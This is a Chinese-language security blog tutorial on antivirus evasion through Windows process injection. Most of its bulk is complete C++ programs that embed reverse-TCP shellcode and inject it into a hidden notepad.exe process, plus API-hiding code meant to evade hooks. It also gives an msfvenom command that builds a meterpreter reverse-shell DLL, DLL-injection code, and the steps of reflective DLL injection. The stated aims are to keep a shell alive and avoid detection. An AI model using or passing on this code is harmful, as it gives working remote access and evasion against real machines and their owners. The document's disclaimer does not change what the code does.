|
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]
工具界面如下:
效果如下:
我们在进行上面的实验时,会遇到一个问题,就是我们所启动的程序一旦被关,那么 shell 就掉了。所以,这一章节我们将学习如何将自己的代码注入到其他进程当中,这样即使我们自己的程序被关,也不会影响后面的操作。而且,注入通常会有不错的免杀效果,也能够增加分析难度。
No.1
线程注入
基本实现
CreateRemoteThread 官方定义为:
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
下面是 C++ 调用 CreateRemoteThread 实现基础线程注入的代码:
- # include <Windows.h>
- int main(){
- unsigned char shellcode[] ="\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
- "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
- "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
- "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
- "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
- "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
- "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
- "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
- "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
- "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
- "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
- "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
- "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
- "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
- "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
- "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
- "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x86\x01\x41\x54\x49\x89\xe4"
- "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
- "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
- "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
- "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
- "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
- "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
- "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
- "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
- "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
- "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
- "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
- "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
- "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
- "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
- "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
- "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
- "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
- HANDLE processHandle;
- HANDLE remoteThread;
- PVOID remoteBuffer;
- processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(4752));//4752是我刚刚启动的一个notepad.exe进程的pid
- remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
- remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
- CloseHandle(processHandle);
- }
复制代码 查看被注入的notepad.exe,可以看到它建立了一个TCP连接:
这样即使我们关掉了 cmd 窗口,只要这个notepad进程存在,shell也是一直存在的。
优化
自动生成新进程并注入
下面这段代码先是用 CreateProcess 启动了一个隐藏 notepad.exe 进程,并将 shellcode 注入到此进程中。
- # include <cstdio>
- # include <Windows.h>
- int main(){
- unsigned char shellcode[] ="\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
- "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
- "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
- "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
- "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
- "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
- "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
- "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
- "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
- "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
- "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
- "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
- "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
- "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
- "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
- "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
- "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x86\x01\x41\x54\x49\x89\xe4"
- "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
- "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
- "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
- "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
- "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
- "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
- "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
- "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
- "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
- "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
- "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
- "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
- "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
- "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
- "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
- "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
- "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
- HANDLE processHandle;
- HANDLE remoteThread;
- PVOID remoteBuffer;
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- memset(&si, 0, sizeof(si));
- si.cb = sizeof(STARTUPINFO);
- si.dwFlags = STARTF_USESHOWWINDOW;
- si.wShowWindow = SW_HIDE; //隐藏要启动的进程
- if(CreateProcess(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
- {
- processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(GetProcessId(pi.hProcess)));
- remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
- remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
- CloseHandle(processHandle);
- }
- else
- {
- printf("failed to start notepad.exe");
- }
- }
复制代码 隐藏敏感API
由于有些API可能被重点监控或HOOK,所以我们将用第二章的方法隐藏下列API:
✦CreateProcess
✦OpenProcess
✦VirtualAllocEx
✦WriteProcessMemory
✦CreateRemoteThread
具体我们可以通过 GetModuleHandle + GetProcAddress 的方式隐藏敏感API,同样是启动隐藏进程并注入,代码可以改成下面这样:
- # include <cstdio>
- # include <Windows.h>
- int main(){
- unsigned char shellcode[] ="\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
- "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
- "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
- "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
- "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
- "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
- "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
- "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
- "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
- "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
- "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
- "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
- "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
- "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
- "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
- "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
- "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x86\x01\x41\x54\x49\x89\xe4"
- "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
- "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
- "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
- "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
- "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
- "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
- "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
- "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
- "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
- "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
- "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
- "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
- "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
- "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
- "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
- "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
- "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
- HANDLE processHandle;
- HANDLE remoteThread;
- PVOID remoteBuffer;
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- memset(&si, 0, sizeof(si));
- si.cb = sizeof(STARTUPINFO);
- si.dwFlags = STARTF_USESHOWWINDOW;
- si.wShowWindow = SW_HIDE; //隐藏要启动的进程
- //要解决的API:
- //CreateProcess
- //OpenProcess
- //VirtualAllocEx
- //WriteProcessMemory
- //CreateRemoteThread
- typedef BOOL(WINAPI* CreateProcessB)(
- LPCSTR lpApplicationName,
- LPSTR lpCommandLine,
- LPSECURITY_ATTRIBUTES lpProcessAttributes,
- LPSECURITY_ATTRIBUTES lpThreadAttributes,
- BOOL bInheritHandles,
- DWORD dwCreationFlags,
- LPVOID lpEnvironment,
- LPCSTR lpCurrentDirectory,
- LPSTARTUPINFOA lpStartupInfo,
- LPPROCESS_INFORMATION lpProcessInformation);
- typedef LPVOID(WINAPI* OpenProcessB)(
- DWORD dwDesiredAccess,
- BOOL bInheritHandle,
- DWORD dwProcessId);
- typedef LPVOID(WINAPI* VirtualAllocExB)(
- HANDLE hProcess,
- LPVOID lpAddress,
- SIZE_T dwSize,
- DWORD flAllocationType,
- DWORD flProtect);
- typedef LPVOID(WINAPI* WriteProcessMemoryB)(
- HANDLE hProcess,
- LPVOID lpBaseAddress,
- LPCVOID lpBuffer,
- SIZE_T nSize,
- SIZE_T* lpNumberOfBytesWritten);
- typedef LPVOID(WINAPI* CreateRemoteProcessB)(
- HANDLE hProcess,
- LPSECURITY_ATTRIBUTES lpThreadAttributes,
- SIZE_T dwStackSize,
- LPTHREAD_START_ROUTINE lpStartAddress,
- LPVOID lpParameter,
- DWORD dwCreationFlags,
- LPDWORD lpThreadId);
- if(CreateProcessB cp = (CreateProcessB)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateProcessA"))
- {
- cp(NULL, (LPSTR)"notepad.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);
- OpenProcessB op = (OpenProcessB)GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenProcess");
- processHandle = op(PROCESS_ALL_ACCESS, FALSE, DWORD(GetProcessId(pi.hProcess)));
- VirtualAllocExB vae = (VirtualAllocExB)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
- remoteBuffer = vae(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
- WriteProcessMemoryB wpm = (WriteProcessMemoryB)GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
- wpm(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
- CreateRemoteProcessB crp = (CreateRemoteProcessB)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateRemoteThread");
- remoteThread = crp(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
- CloseHandle(processHandle);
- }
- else
- {
- printf("failed to create process");
- }
- }
复制代码 效果是一样的:
当然也可以采用动态加载的方式同时隐藏 GetProcAddress 和 GetModuleHandle 。下面各种注入方式都可采用相同的方法,不再赘述。
No.2
DLL注入
DLL 注入技术用起来的时候需要先上传 DLL 到目标的硬盘中,然后运行注入程序进行注入,操作起来比较复杂,并不是我们讨论的重点,所以这一部分我只写了示例代码,通过这些代码了解其大体流程即可,代码没有进行优化,甚至注入的 DLL 也都是 msfvenom 生成的。
首先生成 DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.134.1 LPORT=4444 -f dll > inject.dll
需要注意的是,32位的 DLL 要注入32位的进程,64位同理。因为我的系统是64位的,启动的 notepad 进程是64位的,所以 DLL 需要64位的,下面的注入代码也要编译成 64 位的。
- # include<Windows.h>
- # include<stdio.h>
- int main(){
- HANDLE processHandle;
- PVOID remoteBuffer;
- TCHAR dllPath[] = TEXT("C:\\Users\\www1y\\Desktop\\inject.dll");long dll_size = sizeof(dllPath);
- printf("Injecting DLL to PID: %i\n", 10752); //10752是刚启动的notepad的pid
- processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(10752));
- remoteBuffer = VirtualAllocEx(processHandle, NULL, dll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, dll_size, NULL);
- PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
- CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
- CloseHandle(processHandle);return 0;
- }
复制代码 效果:
No.3
反射DLL注入 RDI
前面说到,DLL 注入会在目标磁盘中留下文件,所以实用性并不强。而反射 DLL 注入技术的出现解决了这个问题,它可以将攻击者的 DLL 注入到指定进程中,但是又不会在目标磁盘中留下文件,所以应用很广泛,在Metasploit、CobaltStrike等工具中均有使用,是此章节讨论的重点之一。
反射 DLL 注入技术是由 Stephen Fewer 最先提出的,其过程如下:
1、使用 RWX 权限打开目标进程,并为 DLL 分配足够大的内存。
2、将 DLL 复制到分配的内存空间中。
3、计算 DLL 中用于执行反射加载的导出的内存偏移量。
4、使用反射性加载器函数的偏移地址作为入口,调用 CreateRemoteThread(或等效的未公开的 API 函数,如 RtlCreateUserThread)开始在远程进程中执行。
5、反射式加载器功能使用适当的 CPU 寄存器查找目标进程的进程环境块(PEB),并使用该寄存器在内存 kernel32.dll 和任何其他所需库中查找地址。
6、解析的 KERNEL32 出口目录中找到所需的 API 功能,如内存地址 LoadLibraryA,GetProcAddress和VirtualAlloc。
7、然后使用这些函数将 DLL(自身)正确加载到内存中,并调用其入口点 DllMain。
Stephen Fewer 将代码放到了Github:
https://github.com/stephenfewer/ReflectiveDLLInjection
以上是免杀时经常遇到的一些注入方式,灵活运用以上方式可以实现不错的免杀与隐藏效果。
|
|